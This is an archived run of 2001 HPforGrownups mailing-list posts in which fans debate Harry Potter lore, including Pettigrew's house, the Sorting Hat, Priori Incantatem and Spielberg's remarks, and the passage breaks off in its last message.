Subject: Peter Pettiegrew Formerly: Interhouse Socializing
References: <9o6eis+gbce@eGroups.com>
Message-ID: <024701c14016$b0f83800$964e28d1@oemcomputer>

No: HPFGUIDX 26256

Small note on Pettigrew as I seem to be one of his resident defenders (is there actually anyone but me?)  I do believe Peter was in a house other then Gryffindor due to the fact that bravery is so often emphasized through out the books and Peter is not known in any form for bravery.  He gave up his friends for his life and through out most of which we've seen him he's groveling, weather in PoA when he's begging everyone in the room for a defense and later in GoF groveling to Voldemort in various scenes either for a better job (which was of course given to another) or in regards to his hand.

On the other side, Peter could have a hidden depth.  He could have been in Gryffindor, later betrayed James and Lily, groveled in every known scene of him and completely lead us astray so that when the great act of bravery comes we are completely shocked and actually have to read it several times to take it in.  Bravery is a tricky thing.  You can be brave and yet still be a coward.  Betraying the Potters, wall an overly cowardly act does have some traits of bravery.  He was exposing himself as a traitor.  If caught he would be dead or sentenced to Azkaban.  That in itself it a brave act if not a large on.  He returned to Voldemort after abandoning him...a stupidly brave act inside a cowardly one.  He asked for a better job, to get Harry for Voldemort.  Again, brave act though motivated by ambitious means.  There are numerous other brave acts he has done...using risky and illegal magic in the animagus transformations, the exploring needed to create 'The Marauders Map' and so on.  And there could still be one final act, an act that defines him as Gryffindor.  

While I don't think he will every truly be like the Potters, Sirius and Lupin, I do think he will give his life for Harry's in return for Harry's actions in PoA and in being true to himself.  

So weather Gryffindor or other it's hard to say with Peter Pettigrew, time will only tell us what he was/is.

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: Jim Ferer 
  To: HPforGrownups at yahoogroups.com 
  Sent: Monday, September 17, 2001 8:21 PM
  Subject: [HPforGrownups] Re: Visitation Rights (InterHouse socializing)


  Rose:"Please forgive me if this has been discussed before."

  Don't worry about it. Everybody has something new to contribute; just 
  read the VFAQ file. You'll know what's gone before and maybe inspire 
  new thoughts on the topic. Besides, I don't think this has been 
  discussed before, at least not much!

  Rose:"Are the students ever permitted to visit each other in their 
  common rooms?  I ask this question for several reasons.  My first 
  thought was no as it was mentioned in GoF that those students 
  escorting those from other houses to the Yule Ball would meet them in 
  the entrance hall..."

  It would seem strange if they couldn't, but there's no evidence that 
  they do.  Harry and Ron don't seem to know where other Houses' 
  entrances are. They had a hard time finding the Slytherin common room 
  in CoS, and when Cedric is going off towards his House it's kept 
  vague.

  If it's the case that there's little inter-house visiting, then it 
  would make sense there's someplace at Hogwarts where students in 
  various Houses can socialize at least a little, some sort of Student 
  Union. There's absolutely no evidence for it, though.  Except for 
  dating at the Yule Ball, the kids all seem to keep to their House.  


  That doesn't seem to fit in with Dumbledore's vision for the school, 
  but traditions are hard to change. As the Second Voldemort War heats 
  up, will Dumbledore act to unify the school more?  I hope this unity 
  doesn't happen because Death Eaters crash something into Hogwarts.

  I agree that MWPP were all the same house, so they would be 
  Gryffindors.  Pettigrew is the only one I have a hard time believing 
  is a Gryffindor. Could he be an exception?


        Yahoo! Groups Sponsor 
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  ____________________________________________________________

  "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
  "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

  You *can* help. Visit www.redcross.org for details.

  Questions, list-based or otherwise? contact your personal List Elf or the Moderator Team at MagicalMods at yahoogroups.com.

  Unsubscribing? Email hpforgrownups-unsubscribe at yahoogroups.com
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[Non-text portions of this message have been removed]




From lake4fam at earthlink.net  Tue Sep 18 07:52:27 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Tue, 18 Sep 2001 07:52:27 -0000
Subject: Rickman=Snape?!  TOO perfect!
Message-ID: <9o6ufr+mfkd@eGroups.com>

No: HPFGUIDX 26257

Pardon my ignorance - I only just found out about the VanityFair and 
EW magazines - but, is Alan Rickman REALLY going to play Snape?  This 
is inspired casting.  I must agree with the concensus:  Dame Maggie 
will be the definitive Minerva.
  By the way, those of you who like me spend a lot of time with the 
booktapes - can't run a sewing maching and read a book at the same 
time - will have to brace yourselves for the difference in the voices 
and dialects that Jim Dale uses for the characters.  The key thing to 
remember is that different does not equal worse.  




From mediaphen at hotmail.com  Tue Sep 18 09:34:33 2001
From: mediaphen at hotmail.com (Martin Smith)
Date: Tue, 18 Sep 2001 11:34:33 +0200
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
References: <1000791081.2750.70007.l7@yahoogroups.com>
Message-ID: <DAV55vCWO6hm8Ua8d9E0000046d@hotmail.com>

No: HPFGUIDX 26258

     Message: 23
   Date: Tue, 18 Sep 2001 00:42:28 -0000
   From: mellienel2 at yahoo.com
Subject: Re: Hate to open an old wound, but...[night of J&L Potters' death]

--- In HPforGrownups at y..., blpurdom at y... wrote:
> --- In HPforGrownups at y..., mellienel2 at y... wrote: 
> > Kill a person, you have their whole being, 
> > and that comes out of the wand.
>  
> This of course raises an interesting question: what comes out of a 
> wand in relation to various spells when Priori Incantatem is 
> performed?  We saw a miniature Dark Mark appear from Harry's wand 
> after Crouch used it to fire the Dark Mark into the air; we saw the 
> shades of the people Voldemort murdered with his wand.  What would 
> appear if the spell were Cruciatus?  Imperius?  A simple 
Alohomora?  
> Any thoughts?
> 

Yes. I think a lot. Especially about what would happen if you make a PI (Priori Incantatem) on a wand that itself has performed PI:s. I see a few interesting possibilities here:

1: The anonymizer effect
Quite useful if you're a DE or some other bad wizard and know you have cast a spell you wish to hide. After your evil deed, you perform a PI on your own wand, after that a few harmless spells and that's it. When an auror catches you, saying "Let's have a look at this little wand of yours, shall we?" and performs a PI. Your wand spits out a few harmless spells, then a PI, which has the effect of spitting out the same harmless spells as before (only in reverse order and a little weaker) and there's no sign of any evil-doing in this wand.

2: The antiescalating PI chain reaction effect
A wand on which PI has been performed spits out shadows of its previous spells until it hits a PI it itself has cast on another wand, which now spits out shadows of shadows of the other wand's spells until the other wand's shadowshadowspell is a PI on a third wand, which leads to shadows of shadows of shadows of... OK you get the point, right?

3: The bouncing spell effect (AKA Ferret effect :-))
A wand that has performed two PI:s gets PI:ed. Once hitting the PI, the spells reverse and hits the other PI on which they bounce back to the first PI, and then back again, and so forth. Can also be used as an anonymizer.

I like to see the PI to something of the effect of a sine curve, such as y=a/x*sin(bx) .

But hey, I'm not done yet;
In PI, the spells come out in reverse order, right? Do they also come out in reverse effect?
Some say, no, of course not, what kind of silly question is that?
But undoubtely Cedric, Bryce, Jorkins, Lily and James were _killed_ by AK, but when PI is done they _come alive_ to a lesser extent, which, IMNSHO indeed is the reverse effect of AK.
Yet, when Harry's wand is PI:ed in the woods during QWC a shadow of the Dark Mark is to be seen, which is not the reverse effect. The reverse effect would be something like a light mark (perhaps an image of a cosy teddy bear or a smiley).
So which is it? Reverse effect or the same effect? A flint? I stand perplexed.

Martin, L.O.O.N. by contest, and actually recently certified Open Water Diver






From A.E.B.Bevan at open.ac.uk  Tue Sep 18 11:46:44 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Tue, 18 Sep 2001 11:46:44 -0000
Subject: Briticisms
Message-ID: <9o7c74+kkjg@eGroups.com>

No: HPFGUIDX 26259

katzefan at y... said


>>>
(Snape) catches Harry outside 'during break' with the book Quidditch 
Through the Ages - this sounds like a break between classes, 
<<<

Is this another  Briticism we need to explain?   `Break' is a 
regularly scheduled short period of leisure during the school day.   
For example in my primary school we were timetabled

Roll call in classes 0855.

Assembly of school in hall 0900 ? 0915

Four teaching periods from 0915 to 1230. We went straight from period 
1 to period 2, had  `Break' of 15 minutes between periods 2
and 3   then  took periods 3 and 4. Then Lunch (also known as Lunch 
Break)  for about an hour, then 3 periods in the afternoon until 
school ended  at 4pm with a short Break between periods 6 and 7 

Break is taken outdoors if the weather at all permits, and is the 
kids own lightly supervised time.

The fact that Snape interfered with what Harry was doing in his break 
time is another Bad Mark for him for all who went though British 
Schools


Edis 





From fourfuries at aol.com  Tue Sep 18 13:20:43 2001
From: fourfuries at aol.com (fourfuries at aol.com)
Date: Tue, 18 Sep 2001 13:20:43 -0000
Subject: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
In-Reply-To: <000001c13ff6$ae5a4220$e9d41a41@breev>
Message-ID: <9o7hnb+a24j@eGroups.com>

No: HPFGUIDX 26260

--- In HPforGrownups at y..., "Genevieve Pratt" <jheen at m...> wrote:
 
> The Sorting Hat [snip} was a holding place for Godric's sword. 

I don't think so.  I think the sword was seen on a shelf the first 
time Harry went into Dumbledore's office in CS (same time he first 
saw Fawkes).  I think the Hat allowed Harry to conjure the Sword in a 
moment of need, even figuring out for Harry what kind of help would 
be useful.

> Discussion Questions:
> 
> 1)	The classic question: Slytherin House: evil or just bad 
> press? 
 
  Slytherin is not evil.  Slytherin house members are ambitious and 
desire greatness to the point of being prideful and even vain.  
According to Church canon this kind of vanity is a deadly sin, not a 
fatal flaw.  Vanity/Pride is not irreversible or unrecoverable.  Thus 
the lively discussions about the possibility of Draco's redemption, 
or the fact of Snape's redemption.  This is also why Harry "would 
have done well in SLytherin", because one of Harry's personal 
motivations is to prove himself, a grand ambition that might easily 
have been fueled by close association with other greatness seekers.

> 3)	How does the Sorting Hat sort? For example, what sort of 
process does it use that ends up with Hermione in Gryffindor?

  I think the Hat works like the Mirror, Mirror On The Wall, showing 
us what we want most, and all.  If we value loyalty, trustworthiness 
and hard work, we will go to Hufflepuff.  If we want recognition for 
guts, we go to Gryffindor.  If we trust our on wits, Ravenclaw.  If 
we are driven by a need for power, Slytherin.  In each case, the Hat 
is only looking at what the wearer values most, and then placing each 
person in the House where they will be most comfortable.


> 4)	JKR has said there is more to the Sorting Hat than is 
> apparent.  What sort of things do you think we'll see the Hat 
> involved with?

> 5)	How important do you think is the fact that the Sorting Hat 
used to be Godric Gryffindor's?

I sincerely hope that the Hat will have at least one more 
conversation with Harry.  It is a repository of wisdom, but is not 
really judgemental. I think it's being Gryffindor's will make it a 
very important tool in the future for Harry to find what he is 
looking for, especially if something happens to Dumbledore.







From meboriqua at aol.com  Tue Sep 18 13:26:02 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 18 Sep 2001 13:26:02 -0000
Subject: Summary: Chamber of Secrets, Chapter 16-18
In-Reply-To: <000101c13ff6$b5a293c0$e9d41a41@breev>
Message-ID: <9o7i1a+duol@eGroups.com>

No: HPFGUIDX 26261

--- In HPforGrownups at y..., "Genevieve Pratt" <jheen at m...> wrote:

Very nice summaries!  How you were able to focus so well right now to 
write them, I don't know, but I appreciate having something fun to 
think about. 
> 
> 2)	At one point, Tom makes the comment that Harry was a lot like
> him. Do you agree or is he entirely commenting on them both being
> half-blood orphans?>

Both.  Harry and Tom are both eager to prove themselves, but they do 
it in different ways.  Tom was quite Hermione-ish, by getting the best 
grades.  Harry is desperate to be normal but also to be good.  I don't 
mean good as in well behaved; I mean good as in good vs evil.  When he 
went looking for Justin to explain what happened at the Dueling Club 
is a good example of that.  

I can't claim this as my idea so I won't but I like what others have 
said about JKR using Tom and Harry as two people who were raised with 
similar circumstances but who *chose* to take different paths.  
Choices really are everything.
> 
> 6)	We learn a lot about Voldemort in these few chapters. Did you
> find anything that could possibly make him out to be a little more 
human or does he still seem as pure evil as in book one?>

I don't feel that I know so much about Voldemort; I have learned, 
however, a good deal about Tom Riddle.  By the time Tom became 
Voldemort, I don't think I can consider him a human being anymore.  My 
feelings about the Big V didn't change after finding out more about 
him in CoS, but Tom Riddle is very interesting to me and is not as 
one-dimensional as Voldemort is, if that makes any sense.

--jenny from ravenclaw 

I'm sweet on Fudge **********************************




From cynthiaanncoe at home.com  Tue Sep 18 13:53:53 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 18 Sep 2001 13:53:53 -0000
Subject: InterHouse socializing -- Destiny
In-Reply-To: <9o6eis+gbce@eGroups.com>
Message-ID: <9o7jlh+gmr7@eGroups.com>

No: HPFGUIDX 26262

Jim wrote:

> If it's the case that there's little inter-house visiting, then it 
> would make sense there's someplace at Hogwarts where students in 
> various Houses can socialize at least a little, some sort of 
Student 
> Union. There's absolutely no evidence for it, though.  Except for 
> dating at the Yule Ball, the kids all seem to keep to their House.  
> 
> 
> That doesn't seem to fit in with Dumbledore's vision for the 
school, 
> but traditions are hard to change. As the Second Voldemort War 
heats 
> up, will Dumbledore act to unify the school more?  I hope this 
unity 
> doesn't happen because Death Eaters crash something into Hogwarts.
> 
> I agree that MWPP were all the same house, so they would be 
> Gryffindors.  Pettigrew is the only one I have a hard time 
believing 
> is a Gryffindor. Could he be an exception?


Perhaps the decisions of the sorting hat are not as accurate as many 
of us believe.  Wouldn't it be strange that at age 11 the sorting hat 
knows whether you will grow up to be evil or hard-working?  Also, if 
the sorting really tells us that certain students will develop 
certain traits, then I get confused about some things.  Black thought 
Lupin was the spy, so didn't tell him the secret keeper was Peter.  
If Peter was in Slytherin, then everyone would have a good idea who 
the spy was if everyone else was in Gryffindor.  Also, Snape hasn't a 
prayer of being a good guy if he's Slytherin.

I hope the sorting isn't that accurate and formulaic.  I think it is 
more interesting when you just don't know how someone will turn out --
 like real life.

Cindy (who had a few teachers who were wrong about her)





From landers at email.unc.edu  Tue Sep 18 14:19:56 2001
From: landers at email.unc.edu (Betty)
Date: Tue, 18 Sep 2001 10:19:56 -0400
Subject: [HPforGrownups] Digest Number 1239
Message-ID: <3BA7580C.21898170@email.unc.edu>

No: HPFGUIDX 26263

snipped massive amounts
Steve: Funny, though, now that I'm thinking about scars...I wonder if 
there's anything to Dumbledore's statement about scars being useful 
and that he has one on his knee that is a map of the London 
Underground. Strange statement, that...
*Sorry for the one-liner.  I know this list doesn't like them.  But,
yes, that statement was useful.  It foreshadowed the connection we see
later in SS and GoF.  I think that connection has more potential than
it's shown so far, too, but I don't know yet what that is.
Speaking of the scar, and this post is officially no longer a one-liner,
at the end of SS, Harry says something about his scar hurting before
that time, but never this often.  what do you think Harry was referring
to?  Here's the exact quote so you all can find where I'm talking about.
It's in chapter 16, toward the beginning.  I can't give you an exact
page number because I'm getting this from a braille edition, and the
pages aren't the same.
'Harry was rubbing his forehead.
"I wish I knew what this means!" he burst out angrily.  "My scar keeps
hurting--it's happened before, but never as often as this."'
What do you think?  Does this just mean that Voldemort has been feeling
particularly hateful from time to time while Harry was at the Dursleys? 
Or that his scar did occasionally hurt in Quirrell's classes, but he
just didn't mention it?  OR something else?
Steve Vander Ark
The Cynic
Lol.  Betty



From mellienel2 at yahoo.com  Tue Sep 18 15:15:26 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Tue, 18 Sep 2001 15:15:26 -0000
Subject: Pettigrew's Wait; Hagrid; Anniversary
In-Reply-To: <OE1372TUSzbAUfKRfcj0001d784@hotmail.com>
Message-ID: <9o7oee+kfma@eGroups.com>

No: HPFGUIDX 26264

> All I can assume from this is that someone made a mistake.  They 
quickly looked at the fact that Peter had been waiting for twelve 
years for Sirius to come after him and then added the number of years 
that Harry had been at Hogwarts (3) and, voil?, you have fifteen.

I'm tending to agree that it's a mistake. A totally overlook-able 
one, but a mistake....unlesss...unless it means he had to go into 
hiding 3 years before that night, unless the Potters 
being 'meddlesome fools' meant they were responsible for it...


> I could be wrong, but I'm pretty sure that Hagrid was at school for 
only 3 years.  He was expelled as a Third Year student for setting 
the basilisk loose.  There has been much debate as to whether or not 
he then immediately returned as gamekeeper.   

A ha you're right -- Voldy is 2 years older than Hagrid. I know the 
phrasing 'stayed on as groundskeeper' is used somewhere in the book, 
which makes me suspicious that Hagrid stayed on right away.

> 
> However, all this aside, I also wonder about Hagrid's big secret.  
I agree with sgallag4 at h... who says that they believe Hagrid may know 
something about the Snape/Potter fixation.  I know that it seems to 
have been explained by the fact that JP saved Snape's life.  However, 
I (as a teacher) would like to believe that there is more to it than 
that.  I like to think that there is more to the story than that, 
simply because treating a student in the manner that Snape treats 
Harry simply because Harry's dad once saved Snape's life after a 
horrible prank pulled by James' friends does not fit with me.  
Granted, I have many problems with Snape as a whole, but I do 
remember teachers who were similarly horrible (although none quite so 
bad!).

yep -- and JKR said somewhere that Dumbledore believes that horrible 
teachers like Snape are one of life's lessons...or something...

later dudes,
m.




From monika at darwin.inka.de  Tue Sep 18 16:01:56 2001
From: monika at darwin.inka.de (Monika Huebner)
Date: Tue, 18 Sep 2001 18:01:56 +0200
Subject: [HPforGrownups] Pettigrew's Wait - Snape/Harry
In-Reply-To: <OE1372TUSzbAUfKRfcj0001d784@hotmail.com>
Message-ID: <MABBIOAJAKBIIEFEFANKOEKGCKAA.monika@darwin.inka.de>

No: HPFGUIDX 26265

> -----Original Message-----
> From: Angela Burgess [mailto:MmeBurgess at msn.com]

> But then later on, on p. 370, Sirius says, "Voldemort's been in 
> hiding for FIFTEEN years, they say he's half dead" (caps mine).   

Well, it seems to be a mistake. In my British paperback, p. 399,
Sirius says: "Voldemort's been in hiding for twelve years, they say
he's half dead." 

Maybe it has only been corrected in the paperback edition, I
don't know, I don't own the hardcover of PoA.

> Perhaps, there is yet more to Harry than we yet realize, something 
> that causes Snape to begrudge him for himself, not for the deeds of 
> his father.  What if Snape proved himself to Dumbledore by becoming a 
> sort of guardian to Harry and must now protect him as long as Harry 
> is underage?  Or just as long as Voldemort is perceived to be a 
> threat?  I don't really know, it is just guessing at this point.  Any 
> thoughts?

I think he simply hates Harry because he hated his father, and
Harry being the spitting image of James certainly doesn't help.
I don't believe that Snape is a teacher by vocation, so he might
not even be aware that he treats his students - at least the
Gryffindors - in a way that's not appropriate for a teacher.
As for protecting Harry, he might try to pay his debt back
to him because James is no longer there. And I bet he is somehow
offended that James got himself killed before he could pay
his debt. So, he has to protect Harry, but he hates him even
more because he feels like must protect him.

Monika

------
Book and movie reviews in English and German:
http://sites.inka.de/darwin/indexalt.html 








From rowena_grunnion_ffitch at yahoo.com  Tue Sep 18 16:57:58 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 18 Sep 2001 09:57:58 -0700 (PDT)
Subject: [HPforGrownups] Briticisms
In-Reply-To: <9o7c74+kkjg@eGroups.com>
Message-ID: <20010918165758.77409.qmail@web20806.mail.yahoo.com>

No: HPFGUIDX 26266



--- A.E.B.Bevan at open.ac.uk wrote:

> Is this another  Briticism we need to explain?  
> `Break' is a 
> regularly scheduled short period of leisure during
> the school day.   
> Break is taken outdoors if the weather at all
> permits, and is the 
> kids own lightly supervised time.

   In America we call that recess, or used to. I hear
some schools no longer have it which I think is
horrible.
   Boarding school is a fairly exotic concept for most
Americans, we have them of course but the majority of
us go to public or private day schools, surely they
don't keep the students in class from dawn to dusk,
and what about saturdays and sundays?       

__________________________________________________
Terrorist Attacks on U.S. - How can you help?
Donate cash, emergency relief information
http://dailynews.yahoo.com/fc/US/Emergency_Information/



From macloudt at yahoo.co.uk  Tue Sep 18 17:59:18 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Tue, 18 Sep 2001 17:59:18 -0000
Subject: Why name change?
In-Reply-To: <9o5vok+euee@eGroups.com>
Message-ID: <9o821m+gfue@eGroups.com>

No: HPFGUIDX 26267

A sorcerer is an evil witch > 
> I'm not sure if it technically means evil. 

Possibly it just means an extremely powerful wizard.  A bit OT, but 
Terry Pratchett develops a sourcerer as the eighth son of an eighth 
son (born, not made), and the sourcerer has more power than many top 
wizards put together.  "Wizards' Stone" doesn't come across right, 
and IMO would indicate that any 'ol wizard can come up with such a 
contraption.  Still strange that the title was changed, though.

Mary Ann
(who now has a hankering to reread all her Terry Pratchett books as 
well...)




From macloudt at yahoo.co.uk  Tue Sep 18 18:14:42 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Tue, 18 Sep 2001 18:14:42 -0000
Subject: Spielberg on Potter
In-Reply-To: <9o66fs+h3ar@eGroups.com>
Message-ID: <9o82ui+b24f@eGroups.com>

No: HPFGUIDX 26268

--- In HPforGrownups at y..., mellienel2 at y... wrote:
> --- In HPforGrownups at y..., eggplant107 at h... wrote:
> > Steven Spielberg didn't want to direct the first Harry Potter 
movie 
> > but now he says this: 
> > 
> > "That first story didn't touch me creatively, Now the third Harry 
> > Potter book...It's pure genius! Much darker, more esoteric and 
> > interesting to me personally. If they'd offered me that, I'd have 
> > said yes."
> > 
> > Asked if we might still see a Harry Potter movie directed by 
> > Spielberg he said
> > "That's right,you never know.'
> 
> Am I the only one with the childish sentiment:
> 
> FINDER'S KEEPERS, LOSERS WEEPERS!!
> 
By no means M!  I thought the very same thing.  The first book didn't 
touch him creatively?  Pardon the expression, but *bullocks*.  We all 
have our favourite book out of the existing four, but is there anyone 
who actually *dislikes* one of the books if they like the other 
three?  To my innocent mind the books are too similar for this to 
happen. 

Speilberg has seen the attention the movie is getting, and now he's 
sulking.  I agree that *any* HP book he'd make into a movie would be 
utterly unrecognizable, and would probably have no British element to 
it at all.  No offence to anyone, but a Hogwarts set in rural Kansas 
just wouldn't have the same effect.

Speilberg, go grab your teddie and blankie and mope in a corner, ya 
sore loser!

Mary Ann
(smirking in an irritable manner)  




From meboriqua at aol.com  Tue Sep 18 19:49:54 2001
From: meboriqua at aol.com (meboriqua at aol.com)
Date: Tue, 18 Sep 2001 19:49:54 -0000
Subject: Spielberg on Potter
In-Reply-To: <9o82ui+b24f@eGroups.com>
Message-ID: <9o88h2+ksd3@eGroups.com>

No: HPFGUIDX 26269

--- In HPforGrownups at y..., macloudt at y... wrote:
  
> Speilberg has seen the attention the movie is getting, and now he's 
> sulking.  
> 
> Speilberg, go grab your teddie and blankie and mope in a corner, ya 
> sore loser!>

I have to jump in here and defend Spielberg.  Spielberg has more money 
than anyone else in Hollywood and I can't imagine he lacks in the 
attention-getting department.  Spielberg also made "Schindler's List" 
which changed my life in a very big and very good way, so I just can't 
criticize him.  If he makes PoA and changes ONE SINGLE THING - well 
then I might have a negative comment, but until then, I'm eager to see 
what Columbus has come up with.    

I don't really care why he chose not to do SS.  I just want to see a 
superb movie that feeds my obsession the huge meal it is craving right 
now.

--jenny from ravenclaw *************************************




From shall at sfiweb.demon.co.uk  Tue Sep 18 20:22:59 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Tue, 18 Sep 2001 21:22:59 +0100
Subject: [HPforGrownups] Scabbers' Way (filk)
In-Reply-To: <9o68q6+13am@eGroups.com>
Message-ID: <NCBBLOIDFHFLKCOIHJBKCEHCDNAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 26270

Wunderbar-

(in low tones)

And you still think you can control him, Lucius?

Susan





From avatar7 at uole.com.ve  Tue Sep 18 20:52:21 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 18 Sep 2001 16:52:21 -0400
Subject: [HPforGrownups] Re: Spielberg on Potter
In-Reply-To: <9o82ui+b24f@eGroups.com>
References: <9o82ui+b24f@eGroups.com>
Message-ID: <01091816522101.16678@sysop>

No: HPFGUIDX 26271

On Date Tuesday 18 September 2001 02:14, You Wrote:
> > > Steven Spielberg didn't want to direct the first Harry Potter
> > FINDER'S KEEPERS, LOSERS WEEPERS!!
>  To my innocent mind the books are too similar for this to
> happen.


                 IMHO I wouldn't even say "the first one" being "less" 
esoteric or magical as "The third one". Heck, in fact I can't even, most of 
the time, split one from the other (Possibly since I've read the four of them 
in a row, night after night, in only 4 days... I still keep the whole plot as 
a single thing on my mind).

          I don't think there is really a difference on the way things are 
being spotted up in between them. I only find the story getting deeper as you 
get deeper into it, but not as it would be so much different in between 
themselves as to being picky on which one is "more" or "Less" magical...


           I Love movies. I'm a movie collector myself, I Love both Spielberg 
and Columbus's work, but I have deep faith on JK's criteria, and if I have to 
be true to myself, I find somehow all this Spielberg fuss about HP a little 
bit "Opportunistic".  I certainly hope the wizard who started his big thing 
with such a nice story as "THX..." won't end up in a "Battle of the egos", 
and CERTAINLY NOT around HP. Okay, dunno if the point is to make Harry look 
like a "Freudian Poster Boy" (But I have to admit I am still thinking about 
the hidden sex-appeal on Draco Malfoy... -chuckles!-) but I think we are 
talking about totally different kinds of "Magic" on screen. After all, not 
every wizard gets the same result on the same spell, as well as not every 
musician sounds the same on the same song...

IMHO, here my 2 galleons. :)

------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From avatar7 at uole.com.ve  Tue Sep 18 21:02:13 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 18 Sep 2001 17:02:13 -0400
Subject: [HPforGrownups] Scabbers' Way (filk)
In-Reply-To: <9o68q6+13am@eGroups.com>
References: <9o68q6+13am@eGroups.com>
Message-ID: <01091817021304.16678@sysop>

No: HPFGUIDX 26272

GEEZZZZZ!!!!!

This is BY FAR the best thing I've read on parody!!!!

"Cabaret" is one of the pictures I DEFINITELY Love, and to think on Joel Grey 
singing the like... well, just imagined Hagrid, Snape, Voldy and the like 
doing chorus line-dancing at the tune, was so amazing!!!!!!


I will not look at Liza Minelli the same way again. She might be some 
reincarnation of an ancient Wizard, and I've spent all these years without 
knowing so!!!!!!! No wonder "Cabaret" got me hooked since I was a child!!!!!


With my very very very best regards, still laughing and clapping at my 
chair...

------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



On Date Monday 17 September 2001 09:42, You Wrote:
> Scabbers' Way (from PoA, Chapter 16)
>
> (To the tune of Wilkommen, from Cabaret)
>
> Dedicated to Haggrid



From avatar7 at uole.com.ve  Tue Sep 18 21:50:20 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 18 Sep 2001 17:50:20 -0400
Subject: [HPforGrownups] Re: Hate to open an old wound, but...[night of J&L Potters' death]
In-Reply-To: <DAV55vCWO6hm8Ua8d9E0000046d@hotmail.com>
References: <1000791081.2750.70007.l7@yahoogroups.com> <DAV55vCWO6hm8Ua8d9E0000046d@hotmail.com>
Message-ID: <01091817502006.16678@sysop>

No: HPFGUIDX 26273


On Date Tuesday 18 September 2001 05:34, You Wrote:


> Martin, L.O.O.N. by contest, and actually recently certified Open Water
> Diver

Well, as some of you may know, I do live in Caracas, Venezuela. The version I 
have actually read is the one in Spanish (Even Tho amazon.com is supposedly 
shipping already the US version to me now... seems like somehow there are 
things I could be missing.. ) and therefore I suspect there are some acronyms 
I am lost in. 

For an instance, I have read several times L.O.O.N. . I Know the meaning of 
the word in itself, would anyone tell me what does the acronym stands for?

I'll be definitely thankful.



> Unsubscribing? Email hpforgrownups-unsubscribe at yahoogroups.com

Definitely NOT. :)

------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From avatar7 at uole.com.ve  Tue Sep 18 21:55:03 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 18 Sep 2001 17:55:03 -0400
Subject: [HPforGrownups] Re: Spielberg on Potter
In-Reply-To: <9o88h2+ksd3@eGroups.com>
References: <9o88h2+ksd3@eGroups.com>
Message-ID: <01091817550307.16678@sysop>

No: HPFGUIDX 26274


Dear Jenny:

I Feel happy and proud of sharing a Ravenclaw table with you!. :)

I feel very much your lines were exactly the ones I would have loved to 
write.  It is GREAT to find out same schoool members do think the same way. :)

Hugz and my best wishes...

On Date Tuesday 18 September 2001 03:49, You Wrote:
> I have to jump in here and defend Spielberg.  Spielberg has more money
> than anyone else in Hollywood and I can't imagine he lacks in the
> attention-getting department.  Spielberg also made "Schindler's List"
> which changed my life in a very big and very good way, so I just can't
> criticize him.  If he makes PoA and changes ONE SINGLE THING - well
> then I might have a negative comment, but until then, I'm eager to see
> what Columbus has come up with.
> --jenny from ravenclaw *************************************


------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From justanopinion2001 at hotmail.com  Tue Sep 18 22:22:53 2001
From: justanopinion2001 at hotmail.com (justanopinion2001 at hotmail.com)
Date: Tue, 18 Sep 2001 22:22:53 -0000
Subject: Opinions on Ten Big Mysteries
Message-ID: <9o8hft+vhlg@eGroups.com>

No: HPFGUIDX 26275

I have lurked and posted for a while now, and I have enjoyed the 
clever theories and spirited debates.  As for the mysteries we 
debate, however, it is hard to figure out how many people believe 
certain theories as opposed to others.  So I thought I would just 
ask.  

Here are 10 mysteries/questions about the HP series.  They concern (I 
